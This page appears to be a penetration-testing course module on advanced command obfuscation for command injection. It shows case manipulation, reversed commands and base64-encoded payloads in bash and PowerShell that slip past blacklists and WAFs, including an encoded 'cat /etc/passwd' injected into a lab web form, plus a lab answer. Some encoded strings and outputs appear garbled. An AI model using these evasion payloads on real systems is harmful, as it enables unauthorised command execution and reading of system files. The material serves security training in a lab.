

Advanced Command Obfuscation

In some instances, we may be dealing with advanced filtering solutions, like Web Application Firewalls (WAFs), and basic evasion techniques may not necessarily work. We can utilize more advanced techniques for such occasions, which make detecting the injected commands much less likely.

Case Manipulation

One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. `WHOAMI`) or alternating between cases (e.g. `Wh0aM1`). This usually works because a command blacklist may not check for different case variations of a single word, as Linux systems are case-sensitive.

If we are dealing with a Windows server, we can change the casing of the characters of the command and send it. In Windows, commands for PowerShell and CMD are case-insensitive, meaning they will execute the command regardless of what case it is written in:

```
Advanced Command Obfuscation

PS C:\htb> Wh0aM1

21y4d
```

However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following:

```
Advanced Command Obfuscation

21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"Wh0aM1")

21y4d
```

As we can see, the command did work, even though the word we provided was (`Wh0aM1`). This command uses `tr` to replace all upper-case characters with lower-case characters, which results in an all lower-case character command. However, if we try to use the above command with the `Host Checker` web application, we will see that it still gets blocked:

Burp POST Request

The screenshot shows a Burp Suite interface with a POST request to `/HTTP/1.1`. The request body contains the following command injection attempt: `$(tr "[A-Z]" "[a-z]"<<<"WHOAMI")`. The response is a 400 Bad Request error with the message "Invalid input".

Can you guess why? It is because the command above contains spaces, which is a filtered character in our web application, as we have seen before. So, with such techniques, **we must always be sure not to use any filtered characters**, otherwise our requests will fail, and we may think the techniques failed to work.

Once we replace the spaces with tabs (`$09`), we see that the command works perfectly:

Burp POST Request

The screenshot shows a Burp Suite interface with a POST request to `/HTTP/1.1`. The request body contains the following command injection attempt: `$(tr "[A-Z]" "[a-z]"<<<"WHOAMI")`. The response is a 200 OK status with a ping command output: `PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.025 ms`.

There are many other commands we may use for the same purpose, like the following:

Code: `bash`

```
$(a="Wh0aM1";printf %s "${a,,}")
```

Exercise: Can you test the above command to see if it works on your Linux VM, and then try to avoid using filtered characters to get it working on the web application?

[Cheat Sheet](#)[Go to Questions](#)

Table of Contents

Intro to Command Injections	✓
Exploitation	
Detection	✓
Injecting Commands	✓
Other Injection Operators	✓
Filter Evasion	
Identifying Filters	✓
Bypassing Space Filters	✓
Bypassing Other Blacklisted Characters	✓
Bypassing Blacklisted Commands	✓
Advanced Command Obfuscation	✓
Evasion Tools	✓
Prevention	
Command Injection Prevention	✓
Skills Assessment	
Skills Assessment	✓

My Workstation

The screenshot shows a "My Workstation" section with a status of "OFFLINE" and a "Start Instance" button. Below the button, it says "00 / 1 spawns left".

Reversed Commands

Another command obfuscation technique we will discuss is reversing commands and having a command template that switches them back and executes them in real-time. In this case, we will be writing **imaohw** instead of **whoami** to avoid triggering the blacklisted command.

We can get creative with such techniques and create our own Linux/Windows commands that eventually execute the command without ever containing the actual command words. First, we'd have to get the reversed string of our command in our terminal, as follows:

```

MisaelMacias@htb[/htb]$ echo 'whoami' | rev
imaohw

```

Then, we can execute the original command by reversing it back in a sub-shell (**\$()**), as follows:

```

21y4d@htb[/htb]$ $(rev<<<'imaohw')
21y4d

```

We see that even though the command does not contain the actual **whoami** word, it does work the same and provides the expected output. We can also test this command with our exercise, and it indeed works:

Burp POST Request

The screenshot shows a Burp Suite interface with a 'Request' tab on the left and a 'Response' tab on the right. The request is a POST to http://127.0.0.1 with a body containing a reversed 'whoami' command. The response is a 200 OK status with HTML content.

Tip: If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.

The same can be applied in **Windows**. We can first reverse a string, as follows:

```

PS C:\htb> "whoami"[-1..-20] -join ''
imaohw

```

We can now use the below command to execute a reversed string with a PowerShell sub-shell (**iex "\$()**"), as follows:

```

PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d

```

Encoded Commands

The final technique we will discuss is helpful for commands containing filtered characters or characters that may be URL-decoded by the server. This may allow for the command to get messed up by the time it reaches the shell and eventually fails to execute. Instead of copying an existing command online, we will try to create our own unique obfuscation command this time. This way, it is much less likely to be denied by a filter or a WAF. The command we create will be unique to each case, depending on what characters are allowed and the level of security on the server.

We can utilize various encoding tools, like **base64** (for b64 encoding) or **xxd** (for hex encoding). Let's take **base64** as an example. First, we'll encode the payload we want to execute (which includes filtered characters):

```

MisaelMacias@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ld6MvcGFzc3dkIHwgZ3JlcCAzMw==

```

Now we can create a command that will decode the encoded string in a sub-shell (**\$()**), and then pass it to **bash** to be executed (i.e. **bash<<<**), as follows:

```

MisaelMacias@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ld6MvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/noLogin

```

As we can see, the above command executes the command perfectly. We did not include any filtered characters and avoided encoded

characters that may lead the command to fail to execute.

Tip: Note that we are using `<<<` to avoid using a pipe `|`, which is a filtered character.

Now we can use this command (once we replace the spaces) to execute the same command through command injection:

Burp POST Request

The screenshot shows a Burp Suite interface with a POST request and its response. The request is a form submission to a 'Bot Checker' endpoint. The response shows the form being processed and a ping command being executed.

```
Request
1 POST / HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 75
4 Cache-Control: max-age=0
5 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
6 sec-ch-ua-mobile: ?0
7 Upgrade-Insecure-Requests: 1
8 Origin: http://127.0.0.1
9 Content-Type: application/x-www-form-urlencoded
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
11 Accept: */*
12 Accept-Language: en-US,en;q=0.9
13 Connection: close
14 ip=127.0.0.1&baah<<<t(base64109-d<<<y2F0IC9jd0wcc0Zc3dkIiwqZ3JlcCA2Nm==)|

Response
19 <body>
20 <div class="main">
21 <div>
22 Bot Checker
23 </div>
24 <form method="post" action="">
25 <input type="text" name="ip" placeholder="127.0.0.1" pattern="^((d{1,3}
26 <button type="submit">
27 Check
28 </button>
29 </form>
30 <p>
31 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
32 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
33 --- 127.0.0.1 ping statistics ---
34 1 packets transmitted, 1 received, 0% packet loss, time 0ms
35 rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
36 www-data:32:32/www-data:/var/www:/usr/sbin/suLogin
37
```

Even if some commands were filtered, like `bash` or `base64`, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like `sh` for command execution and `openssl` for b64 decoding, or `xxd` for hex decoding.

We use the same technique with Windows as well. First, we need to base64 encode our string, as follows:

The screenshot shows a Windows command prompt with a PowerShell command to encode a string.

```
PS C:\> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dWBoAG8AYQBtAGKA
```

We may also achieve the same thing on Linux, but we would have to convert the string from `utf-8` to `utf-16` before we `base64` it, as follows:

The screenshot shows a Linux terminal with a command to encode a string.

```
MisaelMacias@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
dWBoAG8AYQBtAGKA
```

Finally, we can decode the b64 string and execute it with a PowerShell sub-shell (`iex *$()`), as follows:

The screenshot shows a Windows command prompt with a PowerShell command to decode and execute a string.

```
PS C:\> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dWBoAG8AYQBtAGKA')))"
21y4d
```

As we can see, we can get creative with `Bash` or `PowerShell` and create new bypassing and obfuscation methods that have not been used before, and hence are very likely to bypass filters and WAFs. Several tools can help us automatically obfuscate our commands, which we will discuss in the next section.

In addition to the techniques we discussed, we can utilize numerous other methods, like wildcards, regex, output redirection, integer expansion, and many others. We can find some such techniques on [PayloadsAllTheThings](#).

The screenshot shows the Pwnbox interface with a connection to a Parrot Linux instance.

Connect to Pwnbox
Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location
UK 137ms

☐ Terminate Pwnbox to switch location

The screenshot shows the Pwnbox interface with a button to start an instance.

Start Instance

00 / 1 spawns left

☐ Enable step-by-step solutions for all questions

Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+ 2 Find the output of the following command using one of the techniques you learned in this section: `find /usr/share/ | grep root | grep mysql | tail -n 1`

```
/usr/share/mysql/debian_create_root_user.sql
```



Submit



Hint

← Previous

Next →



Mark Complete & Next

